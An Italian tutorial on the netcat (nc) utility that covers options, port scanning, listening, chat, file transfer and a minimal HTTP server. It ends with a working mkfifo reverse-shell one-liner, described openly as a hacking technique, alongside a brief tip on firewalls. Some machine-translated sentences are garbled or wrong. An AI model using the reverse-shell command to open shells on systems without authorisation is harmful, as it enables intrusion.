Il comando netcat
è necessario per inviare e ricevere dati utilizzando i protocolli TCP e UDP. Non dispone di un'ampia gamma di funzioni, ma è sufficiente per il controllo delle connessioni e per il semplice debug. Come comunicare tramite il protocollo TCP? Questa domanda viene posta da molti utenti. In questo articolo risponderemo a questa domanda e mostreremo anche esempi di applicazione reale del comando.
Il comando netcat
(o nc
) è un potente strumento per lavorare con le connessioni di rete. Viene spesso utilizzato dagli amministratori di sistema e dagli sviluppatori per vari compiti. Ecco le principali funzioni e caratteristiche di netcat
:
netcat
è uno strumento versatile che può essere utilizzato in un'ampia varietà di scenari, dalla semplice messaggistica alle complesse operazioni di rete.
Iniziamo a vedere la sintassi e le opzioni più diffuse:
-6
- utilizza il protocollo IPv6. Il valore predefinito è rispettivamente -4 e IPv4;-h
- visualizza la guida con l'elenco dei parametri disponibili;-i
- delay - aggiunge un ritardo tra l'invio di stringhe o la scansione delle porte. È impostato in secondi;-l
- modalità di ascolto. Usato con la specifica della porta;-N
- chiude la connessione quando viene raggiunta la fine del file durante l'invio;-n
- Lavora con gli indirizzi IP direttamente senza DNS, inoltre disabilita la scansione delle porte;-P
- nome_utente - specifica il nome dell'utente da collegare al proxy;-x
- address:port - specifica l'indirizzo e la porta per la connessione al proxy;-p
- port - specifica il numero di porta. Nella maggior parte dei casi la porta viene letta senza specificare il parametro;-U
- usa il socket di dominio UNIX (per la comunicazione tra processi);-u
- usa il protocollo UDP, per impostazione predefinita viene usato il TCP;-v
- modalità dettagliata. Utilizzato durante la scansione;-W
number_packets - chiude la connessione dopo aver ricevuto un certo numero di pacchetti;-w
timer - attiva il timer per limitare la durata della connessione. È impostato in secondi;-z
- disabilita l'invio di dati. Viene utilizzato durante la scansione.Il comando ha la seguente forma (parametri indirizzo della porta):
$ nc
Di seguito vi spiegheremo come utilizzare il comando.
Il controllo è l'uso principale di netcat
. È necessario utilizzare i due parametri -vz
, per specificare l'indirizzo e la porta. È possibile specificare un intervallo di indirizzi, ma in questo caso è meglio setacciare solo le porte aperte con il comandogrep
. Esaminiamo le porte dell'indirizzo della rete locale:
$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded
Allo stesso modo, analizziamo le porte UDP aggiungendo il parametro -u
:
$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded
È bene conoscere la differenza principale tra TCP e UDP. In UDP le porte sono sempre disponibili.
Il parametro -l
è destinato all'ascolto della porta. Spesso è sufficiente, ma è possibile attivare la modalità dettagliata:
$ nc -nlv 8080
Ricordare che quando si utilizza il protocollo TCP, la porta deve essere libera, altrimenti apparirà l'errore Già in uso. Non tutte le porte possono essere utilizzate dagli utenti normali, ad esempio la porta 80 (HTTP), molto probabilmente sarà occupata da un altro processo e richiederà i diritti di superutente.
Una capacità utile del comando è lo scambio di dati. Un semplice esempio è una chat room di testo. Per avviare una chat su un computer, eseguire l'utilità in modalità di ascolto della porta:
$ nc -lp 8080
Sull'altro computer, è necessario specificare l'indirizzo del primo computer e la stessa porta. Non dimenticate inoltre di controllare che la porta sia aperta:
$ nc 0.0.0.0 8080
In questo modo sarà possibile inviare e ricevere messaggi. In altre parole, il comando è destinato allo scambio di file. Il principio è lo stesso, solo che è necessario reindirizzare l'output a un file, cioè paste.txt
:
$ nc -l 8080 > paste.txt
Sull'altro PC, il file copy.txt
servirà da input. Non è superfluo utilizzare il parametro -N
per chiudere la connessione dopo il trasferimento dei file:
$ nc -N 0.0.0.0 8080 < copy.txt
Per il trasferimento dei file è importante seguire la sequenza: prima aprire l'ascolto e solo dopo inviare il file. Il comando nc è un metodo funzionante, ma non il migliore per trasferire i file. Esistono strumenti più efficienti e utili per questo compito.
Poiché il comando NC non funziona con il protocollo TCP, consente di inviare e ricevere richieste HTTP. Pertanto, l'utility può diventare un semplice server web. Certo, in questo modo non si può fare nulla di più complicato di una pagina bianca, ma l'operazione richiederà pochissimo tempo e il vantaggio è che non è necessario installare nulla di aggiuntivo.
Nel modulo di esempio la risposta HTTP con il file index.html.
A proposito di np stesso, è una buona idea impostare un timer con il parametro -w 1
per interrompere la connessione se il browser non lo fa:
$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done
Per ottenere dati da un sito web, si può formulare una richiesta e inviarla all'indirizzo e alla porta consigliati. Ma questo modo è piuttosto complicato, è meglio usare il comando CURL appropriato.
Sulla base degli esempi discussi in precedenza, non sarà difficile concludere che il comando consente di organizzare l'accesso remoto alla shell del computer. In precedenza, l'utilità NC prevedeva diversi parametri per aprire l'accesso al terminale. Il parametro -e
è stato rimosso da tempo dall'utility, quindi non sarà più possibile accedere semplicemente al terminale. La sicurezza dell'applicazione stessa è diventata più elevata, ma può ancora funzionare insieme ad altre.
Mostriamo la connessione utilizzando il canale denominato mkfifo. Prima di tutto, iniziamo ad ascoltare la porta del PC a cui avremo accesso:
$ nc -lvnp 8080
Andiamo direttamente al comando per aprire il terminale. Per prima cosa cancelliamo il vecchio canale denominato(rm /tmp/f
), creiamone uno nuovo al suo posto(mkfifo /tmp/f
), leggiamone il contenuto(cat /tmp/f
) e inviamo un comando di shell al suo output(sh -i 2>&1
). Dopodiché, non resta che eseguire nc con l'output al nostro canale nominato(nc 0.0.0.0.0 8080 >/tmp/f
):
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f
Tenete presente che questo è un modo di hackerare, tuttavia può essere utile se ci sono problemi con ssh
. Per prevenire l'attacco, configurare una politica di sicurezza e un firewall.